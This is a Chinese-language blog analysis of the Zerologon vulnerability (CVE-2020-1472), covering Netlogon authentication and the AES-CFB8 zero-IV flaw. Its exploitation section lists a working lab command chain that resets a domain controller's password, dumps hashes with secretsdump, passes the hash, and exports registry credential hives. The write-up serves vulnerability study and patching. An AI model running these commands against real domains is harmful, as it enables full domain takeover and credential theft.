CVE-2020-1472 Zerologon 漏洞分析
前言:CVE-2020-1472 Zerologon 漏洞分析笔记
参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc
参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr
参考文章:https://learn.microsoft.com/zh-cn/windows/security/threat-protection/security-policy-settings/network-access-named-pipes-that-can-be-accessed-anonymously
参考文章:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/70697480-f285-4836-9ca7-7bb52f18c6af
参考文章:https://www.secura.com/uploads/whitepapers/Zerologon.pdf
参考文章:https://www.anquanke.com/post/id/219374
参考文章:https://github.com/dirkjanm/CVE-2020-1472
参考文章:https://dirkjanm.io/a-different-way-of-abusing-zerologon/
参考文章:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-1472
参考文章:https://support.microsoft.com/en-us/topic/how-to-manage-the-changes-in-netlogon-secure-channel-connections-associated-with-cve-2020-1472-f7e8cc17-0309-1d6a-304e-5ba73cd1a11e
netlogon(ms-nrpc) 远程协议
netlogon远程协议是一个远程过程调用 (RPC) 接口,使用该协议的客户端和服务器只能在加入域的系统上运行,下面是该协议的几个功能:
-
用于复制备份域控制器 (BDC) 的数据库。
-
用于维护从域成员到域控制器 (DC)、域的DC之间以及跨域的DC之间的域关系,在跨域通信的时候其中的通信就是用到netlogon协议。
-
安全支持提供程序 (SSP) 的实现,它提供数据包加密和签名服务,以保护 RPC 数据包级别的客户端和服务器通信。
-
方便域认证(使用NTLM的时候)
-
提供了机器账号密码重置的功能。
知识点:
-
从复制备份域控制器可以知道,相关的DCSYNC利用方式其实就是基于ms-nrpc和ms-drsr协议。
-
RPC接口对应UUID是
12345678-1234-ABCD-EF00-01234567CFFB
-
RPC对应的管道名为
\PIPE\NETLOGON
-
对应的impacket中的nrpc的实现,如下图所示
netlogon和ntlm的关系
netlogon是为了方便域认证(使用NTLM的时候),Netlogon服务和NTLM(NT LAN Manager)身份验证协议在Windows中经常一起使用,这是因为它们在处理某些旧版应用和非域环境的身份验证需求时可以互相配合。
netlogon服务主要负责在网络计算机之间建立用户和计算机身份验证。其中包含了一种名为"pass-through authentication"的机制,即使用户尝试登录的域和其帐号所在的域不同,也可以进行身份验证。这就需要一个能够处理这种复杂情况的身份验证协议,而 NTLM 就是这样一个协议。
NTLM是一个Microsoft开发的较旧的身份验证协议,它基于挑战-响应机制工作,允许服务器向客户端提出挑战,然后由客户端生成一个加密响应。此外,点对点身份验证特性使得NTLM在没有Kerberos或其他更安全协议可用的情况下成为一种实用的备选方案。NTLM 不需要直接与域控制器通信,因此在无法访问域控制器或运行旧版软件的环境中可能会有所需求。
因此,当我们说Netlogon服务"方便NTLM使用",是指netlogon在处理跨域或其他复杂的身份验证场景时,可以依赖NTLM来提供具体的挑战-响应身份验证机制。这两者的结合使得Windows能够在各种网络环境中轻松地处理用户和计算机身份验证。
域内认证
域林间认证
netlogon实现的域控和域机器之间的通信流程
Netlogon使用定制的加密协议来让客户端(加入域的计算机)和服务器(域控制器)双方进行通信。通信的密钥是基于客户端机器账号的密码生成的。然而,Windows在早期版本(即非Windows NT系列时代)并不能支持像NTLM或Kerberos这样的标准用户身份验证方案,这可能导致某些兼容性或安全问题。
- 在Netlogon会话中,客户端初始化一个会话,在这个过程中,客户端和服务器会交换随机生成的8字节nonce(也称为客户端挑战码和服务器挑战码)。
注意点:这种挑战-响应机制是一种常见的身份验证方法,用于确认双方都知道共享的秘密,但不直接在网络上发送该挑战码。
- 接着客户端和服务器都通过使用密钥推导函数(Key Derivation Function),将双方的挑战码和共享密钥(通常是基于用户密码生成的)混合,一起计算出会话密钥session key。这个会话密钥session key则被用于进一步的加密通信。
- 接着客户端使用该上面生成的会话密钥session key用于计算客户端凭据ClientCredential。服务器同样通过上面的会话密钥计算出当前客户端的凭证值ClientCredential,服务端匹配自己生成的ClientCredential是否客户端生成的ClientCredential相同,如果服务端判断为相同的话那么则为结论是客户端会话密钥session key,并且客户端还知道客户端自己当前计算机密码,说明客户端并不是伪造的。
ZeroLogon
2020年08月11日,Windows官方发布了 NetLogon 特权提升漏洞的风险通告,该漏洞编号为CVE-2020-1472,该漏洞也称为"Zerologon"。
2020年9月11日,Secura高级安全专家Tom Tervoort和技术总监Ralph Moonen发表了漏洞相关的博文和白皮书,分享了Zerologon漏洞的细节,表示攻击者在通过NetLogon(MS-NRPC)协议与AD域控建立安全通道时,可利用该漏洞将AD域控的计算机账号密码置为空,从而控制域控服务器。
AES128算法不正确使用的CFB8模式
密钥推导函数(Key Derivation Function)
客户端和服务器使用的加密生成凭证值原语是ComputeNetlogonCredential方法,该函数接受8字节输入并通过秘密会话对其进行转换产生相同长度输出的密钥,如下图所示
ComputeNetlogonCredential加密有两种版本,一种是通过2DES算法,另外一种是通过AES128 CFB8算法,而2DES算法在现在的服务器中是被拒绝使用的,所以常用的就是通过AES128-CFB8。
该函数接受8字节输入数据,并通过密钥加密产生与输入相同长度的密文数据。
ComputeNetlogonCredential(Input, Sk, Output) SET IV = 0 CALL AesEncrypt(Input, Sk, IV, Output)
如下图所示,正常的AES128-CFB8的加密过程
-
首先我们需要一个16字节的初始化向量(IV)
-
然后将IV作为输入通过AES128的密钥加密Encode(IV)
-
取加密后结果的Encode(IV)[i],与明文的text[i]进行异或操作,生成第一个encodeText[i]
-
目前16字节块(除去Encode(IV)[i]之后,剩下的包含Encode(IV)[16-i]个字节IV和第一个明文字节)整体左移一个字节(相当于把Encode(IV)[i]个字节丢弃),然后将新生成的密文字节追加到其末尾,形成新的16字节块。
-
将上面新生成的16字节块作为步骤2中的IV重新进行加密,直到所有的明文字节都被加密。
而在上面ComputeNetlogonCredential的定义可以看到,默认AES128_CFB8模式的IV值为0,这种情况下会不会有问题呢
如果IV值全部被设置为0,现在的变量还有两个,如下所示
- 要加密的明文内容
在客户端中的时候,实际上这个加密的明文内容实际上就是客户端自己生成的挑战码,而客户端的挑战码在发送的时候自己是可控的,所以这边的明文内容是可控的
- 每次用于加密IV值的AES128的密钥
如果明文内容可控,AES128的密钥为每连续八位跟明文内容XY一样那么就会产生下面这种计算情况,可以看到因为每次计算的密钥每连续八位和明文内容XY一样,导致AES加密的最终的结果还是00,接着就是00替换到下一次加密变量的末尾,进行左移8位,那么每次都是这样的话最终导致"参与AES运算的上一轮密文"一直为"000000000000000000000000000000",如下图所示
注意点:当密钥为XY的时候(XY为十六进制,总共为8位) 明文内容 参与AES运算的上一轮密文 E(参与AES运算的上一轮密文) 加密后的密文 第一次: XY 000000000000000000000000000000 XYxxxxxxxxxxxxxxxxxxxxxxxxxxxxx XY^XY=00 第二次: XY 000000000000000000000000000000 XYxxxxxxxxxxxxxxxxxxxxxxxxxxxxx XY^XY=00 第三次: XY 000000000000000000000000000000 XYxxxxxxxxxxxxxxxxxxxxxxxxxxxxx XY^XY=00 ..... 第八次: XY 000000000000000000000000000000 XYxxxxxxxxxxxxxxxxxxxxxxxxxxxxx XY^XY=00
签名校验RequireSignOrSeal绕过
NetrServerAuthenticate3中提供了NegotiateFlags参数来提供签名校验关闭的选项Y标志位
不过目前的文档中这个参数RequireSignOrSeal已经必须为true,如下图所示
漏洞利用
通过cve-2020-1472-exploit脚本重置机器密码,如下图所示
python3 cve-2020-1472-exploit.py WIN-M3K6DM7F67I 192.168.75.22
这边通过空密码来获取域哈希,可以看到当前域控机器的密码已经被重置为空了,如下图所示
python3 secretsdump.py 'hengge.local/WIN-M3K6DM7F67I$'@192.168.75.22 -no-pass
Administrator的哈希为579da618cfbfa85247acf1f800a280a4,这边通过哈希传递来导出注册表的sam以及security文件来获取机器的密码,如下图所示
reg save HKLM\SYSTEM system.save reg save HKLM\SAM sam.save reg save HKLM\SECURITY security.save
通过impacket的reg模块导出sam以及security文件也可以,如下图所示
python3 reg.py hengge/administrator@192.168.75.22 -hashes :579da618cfbfa85247acf1f800a280a4 -no-pass backup -o '\\192.168.75.22\c$'
通过smbclient模块将上面导出注册表的sam以及security文件下载到本地
python3 smbclient.py hengge/administrator@192.168.75.22 -hashes :579da618cfbfa85247acf1f800a280a4 -no-pass use c$ get sam.save get security.save get system.save exit
将上面导出的sam以及security文件来通过secretsdump进行本地解析,如下图所示
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
通过restorepassword脚本来进行重置密码,如下图所示
python3 restorepassword.py hengge/WIN-M3K6DM7F67I@WIN-M3K6DM7F67I -target-ip 192.168.75.22 -hexpass b432c5f7a75ff33930c7fdbe2e12abd8d8566de4c3e9eec7448aa6489cdcc0ab7e161e60e9047193e4d9bf7ff905d4c90510e3962a8b0b5200489d1ec6637adea7976779d32823ac7c7340f3d5a6fd0e1908527b1df5aad6fcf3b0e18487ffc9043b6fb97e5b7a95e9283889980abed6e709ccdc7d77ffdd66fd64c073f0f2d19ed96bd517951808512d17b501ce2be10c2de166a628571923cdd4f928a50c6b90ea3968d4afae4a7c1575938838036ae8525d9a81f46278bda92a42763d997c3cd8aec76627de3dd26723cee778fb8bc09ef1fb4734debc0d85e9c74b01237d03f31a1d1f34fc36af86d27eea07f187 -no-pass
重新拖当前机器的密码查看是否已经恢复,如下图所示,可以看到目前空密码已经无法再进行拖取了
python3 secretsdump.py 'hengge.local/WIN-M3K6DM7F67I$'@192.168.75.22 -no-pass
python3 secretsdump.py hengge.local/administrator@192.168.75.22 -hashes :579da618cfbfa85247acf1f800a280a4 -no-pass
漏洞修复
参考文章:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-1472
参考文章:https://support.microsoft.com/en-us/topic/how-to-manage-the-changes-in-netlogon-secure-channel-connections-associated-with-cve-2020-1472-f7e8cc17-0309-1d6a-304e-5ba73cd1a11e
强制性实行建立安全通道
新增2024.4.1
无重置机器密码利用
参考文章:https://dirkjanm.io/a-different-way-of-abusing-zerologon/
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY